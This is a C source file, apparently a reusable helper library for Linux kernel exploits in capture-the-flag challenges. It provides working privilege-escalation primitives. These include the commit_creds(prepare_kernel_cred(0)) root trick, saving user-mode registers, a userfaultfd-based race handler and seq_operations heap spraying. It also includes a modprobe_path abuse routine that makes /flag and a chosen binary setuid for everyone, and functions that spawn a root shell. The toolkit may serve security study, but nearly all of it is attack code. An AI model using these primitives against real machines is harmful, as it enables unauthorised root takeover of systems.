1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
|
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <poll.h>
#include <assert.h>
#include <syscall.h>
#include <pthread.h>
#include <linux/fs.h>
#include <linux/fuse.h>
#include <linux/sched.h>
#include <linux/if_ether.h>
#include <linux/userfaultfd.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <ctype.h>
// data
size_t g_user_cs, g_user_ss, g_user_sp, g_user_eflags;
size_t g_prepare_kernel_cred_addr, g_commit_creds_addr;
size_t g_vmlinux_base_addr;
size_t *g_buffer;
size_t g_r15, g_r14, g_r13, g_r12, g_rbp, g_rbx, g_r11, g_r10, g_r9, g_r8, g_rdx, g_rcx, g_rax, g_rsi, g_rdi;
ssize_t g_process_userfault_running;
#define G_BUFFER_SIZE 0x100000
#define PAGE_SIZE 0x1000
/*
extern size_t g_user_cs, g_user_ss, g_user_sp, g_user_eflags;
extern size_t g_prepare_kernel_cred_addr, g_commit_creds_addr;
extern size_t g_vmlinux_base_addr;
extern size_t *g_buffer;
extern size_t g_r15, g_r14, g_r13, g_r12, g_rbp, g_rbx, g_r11, g_r10, g_r9, g_r8, g_rdx, g_rcx, g_rax, g_rsi, g_rdi;
extern ssize_t g_process_userfault_running;
*/
#define RAW_VMLINUX_BASE_ADDR 0xffffffff81000000
#define GADGETS_OFFSET (g_vmlinux_base_addr - RAW_VMLINUX_BASE_ADDR)
#define GET_GADGET_REAL_ADDR(x) (x + GADGETS_OFFSET)
void __attribute__((constructor)) initial()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
g_buffer = (size_t *)calloc(G_BUFFER_SIZE, 1);
}
void __attribute__((destructor)) finish()
{
free(g_buffer);
}
void clear_buffer()
{
if (g_buffer)
{
memset(g_buffer, G_BUFFER_SIZE, 0);
}
}
void info(const char *fmt, ...)
{
va_list arg;
int done;
char s[0x1000] = {0};
va_start(arg, fmt);
done = vsprintf(s, fmt, arg);
va_end(arg);
printf("[\033[40;33m*\033[0m] \033[40;33mINFO\033[0m ===> %s\r\n", s);
}
void success(const char *fmt, ...)
{
va_list arg;
int done;
char s[0x1000] = {0};
va_start(arg, fmt);
done = vsprintf(s, fmt, arg);
va_end(arg);
printf("[\033[40;32m+\033[0m] \033[40;32mOJBK\033[0m ===> %s\r\n", s);
}
void fail(const char *fmt, ...)
{
va_list arg;
int done;
char s[0x1000] = {0};
va_start(arg, fmt);
done = vsprintf(s, fmt, arg);
va_end(arg);
printf("[\033[40;31m-\033[0m] \033[40;31mFAIL\033[0m ===> %s\r\n", s);
}
void warn(const char *fmt, ...)
{
va_list arg;
int done;
char s[0x1000] = {0};
va_start(arg, fmt);
done = vsprintf(s, fmt, arg);
va_end(arg);
printf("[\033[40;34m#\033[0m] \033[40;34mWARN\033[0m ===> %s\r\n", s);
}
void error(const char *fmt, ...)
{
va_list arg;
int done;
char s[0x1000] = {0};
va_start(arg, fmt);
done = vsprintf(s, fmt, arg);
va_end(arg);
printf("[\033[40;31m!\033[0m] \033[40;31mERROR\033[0m ===> %s\r\n", s);
exit(-1);
}
void get_shell()
{
if (getuid() == 0)
{
success("Get root shell!!!");
}
else
{
warn("Get normal shell...");
}
system("/bin/sh");
}
void get_shell_si()
{
system("/bin/sh");
}
static size_t get_shell_ex_flag = 0;
void get_shell_ex()
{
if (get_shell_ex_flag)
{
return;
}
if (getuid() == 0)
{
success("Get root shell!!!");
get_shell_ex_flag = 1;
}
else
{
warn("Get normal shell...");
}
system("/bin/sh");
}
// at&t flavor assembly
void save_status()
{
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
: "=r"(g_user_cs), "=r"(g_user_ss), "=r"(g_user_eflags), "=r"(g_user_sp)
:
: "memory");
}
void set_root_uid()
{
if (!g_prepare_kernel_cred_addr || !g_commit_creds_addr)
{
error("set prepare_kernel_cred_addr and commit_creds_addr first!");
}
char *(*pkc)(int) = g_prepare_kernel_cred_addr;
void (*cc)(char *) = g_commit_creds_addr;
(*cc)((*pkc)(0));
}
void *get_mmap_rwx(size_t addr, size_t len)
{
return mmap((void *)addr, len, 7, 0x22, -1, 0);
}
void show_addr_u64(void *addr, size_t size)
{
if (size < 8)
{
error("size is too small, must be 8 at least!");
}
printf("\r\n===============show adddress info for [%p]===============\r\n\r\n", addr);
size = (size / 8) * 8;
char *s = (char *)addr;
for (; s < ((char *)addr) + size; s += 8)
{
printf("0x%016lx: 0x%016lx", (size_t)s, *(size_t *)s);
s += 8;
if (s < ((char *)addr) + size)
{
printf("\t0x%016lx\r\n", *(size_t *)s);
}
}
printf("\r\n===============show adddress info for [%p]===============\r\n\r\n", addr);
}
void show_addr_u32(void *addr, size_t size)
{
if (size < 4)
{
error("size is too small, must be 4 at least!");
}
printf("\r\n===============show adddress info for [%p]===============\r\n\r\n", addr);
size = (size / 4) * 4;
char *s = (char *)addr;
for (; s < ((char *)addr) + size; s += 4)
{
printf("0x%08lx: 0x%08lx", (size_t)s, *(uint32_t *)s);
s += 4;
if (s < ((char *)addr) + size)
{
printf("\t0x%08lx\r\n", *(uint32_t *)s);
}
}
printf("\r\n===============show adddress info for [%p]===============\r\n\r\n", addr);
}
void hexdump(void *addr, size_t len)
{
len &= ~0xf;
char buf[0x400];
int printf_len;
char *tmp;
for (size_t i = 0; i < len / 0x10; i++)
{
memset(buf, 0, 0x400);
printf_len = 0;
tmp = (char *)addr + i * 0x10;
printf_len = sprintf(&buf[printf_len], "+%04x %p: ", i * 0x10, tmp);
for (size_t j = 0; j < 0x10; j++)
{
printf_len += sprintf(&buf[printf_len], "%02x ", (uint8_t)tmp[j]);
}
printf_len += sprintf(&buf[printf_len], "| ");
for (size_t j = 0; j < 0x10; j++)
{
char _c = tmp[j];
if (!isprint(_c))
{
_c = '.';
}
printf_len += sprintf(&buf[printf_len], "%c", _c);
}
puts(buf);
}
}
void flat(size_t data[], const size_t data_len, size_t *target_addr, size_t *cur_idx)
{
for (size_t i = 0; i < data_len; i++)
{
target_addr[*cur_idx] = data[i];
++(*cur_idx);
}
}
//=====================================userfaultfd======================
struct UserfaultHandlerArg
{
size_t uffd;
void (*func)(void *, void *);
void *func_args;
};
void register_userfault(void *fault_page, void *handler, void (*func)(void *, void *), void *func_args)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
size_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
error("register_userfault: ioctl-UFFDIO_API");
ur.range.start = (unsigned long)fault_page; //我们要监视的区域
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理,当发生缺页时,程序会阻塞,此时,我们在另一个线程里操作
error("register_userfault: ioctl-UFFDIO_REGISTER");
//开一个线程,接收错误的信号,然后处理
struct UserfaultHandlerArg *args = malloc(sizeof(struct UserfaultHandlerArg));
args->uffd = uffd;
args->func = func;
args->func_args = func_args;
int s = pthread_create(&thr, NULL, handler, (void *)args);
if (s != 0)
error("register_userfault: pthread_create");
}
void *userfaultfd_stuck_handler(void *arg)
{
struct UserfaultHandlerArg *args = (struct ActualArgs *)arg;
struct uffd_msg msg;
size_t uffd = args->uffd;
int nready;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
info("userfaultfd_stuck_handler: start to process userfault");
if (nready != 1)
{
error("userfaultfd_stuck_handler: wrong poll return val");
}
nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0)
{
error("userfaultfd_stuck_handler: msg err");
}
char *page = (char *)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
{
error("userfaultfd_stuck_handler: mmap err");
}
struct uffdio_copy uc;
// init page
memset(page, 0, sizeof(page));
// wait for handler
while (!g_process_userfault_running)
{
sleep(1);
info("wait...process_userfault_running is not ok!");
}
// handler
if (args->func)
{
args->func(page, args->func_args);
}
else
{ // copy
memcpy(page, args->func_args, PAGE_SIZE);
}
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
info("userfaultfd_stuck_handler: stuck handler done");
g_process_userfault_running = 0;
return NULL;
}
void seq_operation_spray(ssize_t *seq_fds, size_t count)
{
int seq;
for (size_t i = 0; i < count; i++)
{
if ((seq = open("/proc/self/stat", O_RDONLY)) == -1)
{
error("seq_operation_spray error!");
}
seq_fds[i] = seq;
}
}
void seq_fds_close(ssize_t *seq_fds, size_t count)
{
for (size_t i = 0; i < count; i++)
{
if (seq_fds[i] > 2) {
close(seq_fds[i]);
seq_fds[i] = -1;
}
}
}
size_t self_copy(uint8_t c)
{
size_t res = 0;
for (size_t i = 0; i < sizeof(size_t); i++)
{
res <<= 8;
res |= c;
}
return res;
}
void assign_all_regs()
{
// in program
/*
rax
rdx
rcx
rsi
rdi
r8
r9
r10
r11
rbx
r12
g_r15 = 0x6161616161616161;
g_r14 = 0x6262626262626262;
g_r13 = 0x6363636363636363;
g_r12 = 0x6464646464646464;
g_r11 = 0x6565656565656565;
g_r10 = 0x6666666666666666;
g_r9 = 0x6767676767676767;
g_r8 = 0x6868686868686868;
g_rbp = 0x6969696969696969;
g_rbx = 0x6a6a6a6a6a6a6a6a;
g_rdx = 0x6b6b6b6b6b6b6b6b;
g_rcx = 0x6c6c6c6c6c6c6c6c;
g_rax = 0x6d6d6d6d6d6d6d6d;
g_rsi = 0x6e6e6e6e6e6e6e6e;
g_rdi = 0x6f6f6f6f6f6f6f6f;
*/
g_r15 = self_copy('a'); // 0x61
g_r14 = self_copy('b'); // 0x62
g_r13 = self_copy('c'); // 0x63
g_r12 = self_copy('d'); // 0x64
g_r11 = self_copy('e'); // 0x65
g_r10 = self_copy('f'); // 0x66
g_r9 = self_copy('g'); // 0x67
g_r8 = self_copy('h'); // 0x68
g_rbp = self_copy('i'); // 0x69
g_rbx = self_copy('j'); // 0x6a
g_rdx = self_copy('k'); // 0x6b
g_rcx = self_copy('l'); // 0x6c
g_rax = self_copy('m'); // 0x6d
g_rsi = self_copy('n'); // 0x6e
g_rdi = self_copy('f'); // 0x6f
}
void prepare_for_modprobe_path(const char *modprobe_path, const char* suid_path)
{
if (suid_path == NULL) {
suid_path = "/tmp/rootme";
}
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
char buf[0x400] = {0};
sprintf(buf, "echo '#!/bin/sh\nchmod 4777 /flag\nchmod 4777 %s\n' > %s", suid_path, modprobe_path);
system(buf);
sprintf(buf, "chmod +x %s", modprobe_path);
system(buf);
system("chmod +x /tmp/dummy");
}
|